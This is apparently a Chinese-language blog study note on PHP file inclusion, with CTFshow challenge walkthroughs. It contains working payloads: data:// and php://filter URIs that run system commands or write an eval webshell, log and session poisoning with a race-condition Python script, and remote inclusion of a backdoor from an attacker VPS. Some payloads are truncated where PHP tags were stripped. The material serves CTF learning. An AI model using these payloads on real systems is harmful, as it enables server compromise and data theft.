文件包含
包含的文件被当作当前的语言去代码执行
漏洞原因:
1.使用文件包含函数
2.包含的文件可控
分类:
1.本地包含:
有文件利用:配合文件上传
无文件利用:
1.包含日志文件
2.包含session文件
3.伪协议利用
2.远程包含:公网服务器自定义文件
差异:代码过滤, allow_url_include配置开关
白盒发现:
包含函数
PHP:include、require、include_once、require_once等 include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行 require函数出现错误的时候,会直接报错并退出程序的执行 Java:java.io.File、java.io.FileReader等 ASP.NET:System.IO.FileStream、System.IO.StreamReader等
黑盒发现:主要观察参数传递的数据和文件名是否对应
URL中有path、dir、file、pag、page、archive、p、eng、语言文件等相关字眼
伪协议
file://
allow_url_fopen :off/on
allow_url_include:off/on
file协议读取d盘下123.txt
file:///d:/123.txt
php://filter
读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
allow_url_fopen :off/on
allow_url_include:off/on
filter协议读取d盘下的123.txt并用base64编码
php://filter/read=convert.base64-encode/resource=d:/123.txt
再用解码工具解码还原
文件写入phpinfo.php
php://filter/write=convert.base64-decode/resource=phpinfo.php&txt=PD9waHAgcGhwaW5mbygpOyA/Pg==
写入成功
php://input
可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行
allow_url_fopen :off/on
allow_url_include:on
执行phpinfo,使用hackbar改成Raw模式,否则不成功
php://input POST请求 data:
文件写入
php://input POST请求 data: '); ?>
访问shell.php
data://
协议必须双在on才能正常使用;
allow_url_fopen :on
allow_url_include:on
代码执行
data://text/plain;
Base64在进行解码的时候,是4个字符一组进行解码,因此在使用base64编码绕过该限制的时候,需要自己补一些填充符,让前面需要绕过的字符串组合起来长度是4的倍数
data://text/plain,base64,PD9waHAgcGhwaW5mbygpOyA
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
测试网站
本地包含index.php
本地包含database_connect.php
CTFshow-78
解法一:filter/read
使用filter/read读取相对路径下的flag.php
php://filter/read=convert.base64-encode/resource=flag.php
再使用hackbar解码base64,成功拿到flag
解法二:filter/read
执行php代码查看当前文件
php://input POST请求
使用tac查看flag.php
php://input POST请求
使用tac查看flag.php,页面无回显查看源代码
php://input POST请求
解法三:远程包含
vps开启一个http服务并创建一个123.txt后门文件
包含后门文件
http://vps:5566/123.txt
使用哥斯拉连接后门,查看flag
CTFshow-79
过滤php为???
解法:base64
Base64在进行解码的时候,是4个字符一组进行解码,因此在使用base64编码绕过该限制的时候,需要自己补一些填充符,让前面需要绕过的字符串组合起来长度是4的倍数,所以这里加了很多%2b
data://text/plain,base64, data://text/plain,base64,PD9waHAgc3lzdGVtKCdscycpOz8+%2b%2b%2b%2b
因为Base64刚好是4的倍数就可以不用加
data://text/plain;base64, data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
查看源代码就可以看见
CTFshow-80
过滤php和data
解法:包含日志
file:var/log/nginx/access.log
通过修改ua头的方式包含日志
file:var/log/nginx/access.log
包含出flag
CTFshow-81
过滤php,data,:.
解法一:包含日志
修改ua头
修改ua头
包含日志,看到目录文件:fl0g.php index.php
file=/var/log/nginx/access.log
写入查看flag代码到日志
包含日志,得到flag
解法二:包含日志getshell
ua头中修改为一句话木马
包含日志
file=/var/log/nginx/access.log
使用蚁剑连接,其他不成功
CTFshow-82—86
包含SESSION
默认session路径
Linux: /tmp或/var/lib/php/session Windows: C:\WINDOWS\Temp
产生session文件脚本
上传任意文件抓包添加cookie
Cookie:PHPSESSID=ctf )'?>
文件包含session,因为seesion文件会定时清空,所以使用条件竞争
访问包含路径,并抓包放入Intruder里面
/tmp/sess_ctf
两个数据包都丢到Intruder进行无payload发包,一个不断生成seesion,一个不断访问路径,访问成功就会创建一个shell.php
没有碰撞成功过,使用python多线程能跑出flag
# 导入必要的库 import io import sys import requests import threading # 会话ID sessid = 'Qftm' http = 'https://' # 定义POST函数用于上传文件 def POST(session): while True: # 创建50KB大小的文件对象 f = io.BytesIO(b'a' * 1024 * 50) # 发起POST请求,上传文件并伪造文件内容包含一句PHP一句话木马代码 session.post( http, data={ "PHP_SESSION_UPLOAD_PROGRESS":"');?>" }, files={"file":('q.txt', f)}, cookies={'PHPSESSID': sessid} ) # 定义READ函数用于读取上传的文件内容 def READ(session): while True: response = session.get(f'{http}?file=/tmp/sess_{sessid}') if 'flag' not in response.text: print('[+++]retry') else: # 若文件内容中包含'flag'则打印内容并退出程序 print(response.text) sys.exit(0) # 创建会话 with requests.session() as session: # 创建并启动线程用于上传文件 t1 = threading.Thread(target=POST, args=(session, )) t1.daemon = True t1.start() # 读取上传的文件内容 READ(session)
CTFshow-87
解码url,浏览器自动会解码一次,就可以利用这一点绕过
解法一:Base64
php://filter/write=convert.base64-decode/resource=pass.php 两次URL编码: %25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%30%25%36%31%25%37%33%25%37%33%25%32%65%25%37%30%25%36%38%25%37%30
因为使用content时会被强加"",解码又会以4的倍数进行解码,会被解码的只有phpdie一共6个字节,在前面加上两个字节就不会影响后面解码,这里我加上zz,后面的编码也得是4的倍数
POST content= Base64编码: content=zzPD9waHAgQGV2YWwoJF9QT1NUW3Bhc3NdKTs/Pg==
使用hackbar发送POST请求,写入pass.php后门文件
执行ls命令
查看flag
解法二:ROT13(凯撒)
php://filter/write=string.rot13/resource=222.php 两次URL编码: %25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%32%25%33%32%25%33%32%25%32%65%25%37%30%25%36%38%25%37%30
POST content= ROT13编码: content=
写入222.php后门文件
拿到flag
CTFshow-88—89
解法:data://
过滤PHP,各种符号,只能使用data://
base64编码
Base64: PD9waHAgc3lzdGVtKGxzKTs/Pg==
去掉==,base64也能解码
data://text/plain;base64,PD9waHAgc3lzdGVtKGxzKTs/Pg
Base64编码
Base64: PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTs/Pg==
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTs/Pg
查看源代码,拿到flag
CTFshow-117
过滤了凯撒和base64
解法:convert.iconv.UCS-2LE.UCS-2BE
convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用
convert.iconv.. convert.iconv.<原始编码方式>.<目标编码方式>
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
编码
ucs-2 二位一反转,字符个数要在偶数位上,ucs-4 四位一反转,字符个数要是4的倍数,下面字符一共28位
但是使用contents之前会强制加上14个字节,二的倍数可以解码
使用kali将pass.txt编码
icov -f UCS-2BE -t UCS-2LE pass.txt > pass1.txt
??
contents=??
哥斯拉连接上去拿到flag
用php本地模拟加上解码后,phpdie被解码成功并扰乱了本身函数
echo iconv("UCS-2LE","UCS-2BE",'??');
还没有评论,来说两句吧...